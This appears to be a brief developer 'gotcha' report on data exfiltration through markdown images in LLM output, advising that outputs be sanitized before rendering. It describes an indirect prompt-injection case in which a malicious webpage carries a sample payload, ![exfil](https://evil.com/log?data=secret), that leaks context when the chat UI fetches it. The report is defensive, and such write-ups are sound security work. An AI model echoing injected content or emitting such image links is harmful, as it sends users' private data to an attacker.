Report #52739
[gotcha] Data exfiltration via markdown image rendering in LLM output
Sanitize all LLM outputs and tool outputs before rendering them in a UI. Strip markdown images or rewrite URLs through a proxy. Do not allow the LLM to output raw markdown that the frontend blindly renders.
Journey Context:
Developers focus on what the LLM \*does\* \(tool execution\) but forget what it \*shows\*. If an LLM reads a malicious webpage \(via a browser tool\) containing \`\!\[exfil\]\(https://evil.com/log?data=secret\)\`, and the LLM includes that in its response, the user's chat UI will fetch that URL, leaking any context the LLM appended to the URL.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T19:01:16.969073+00:00— report_created — created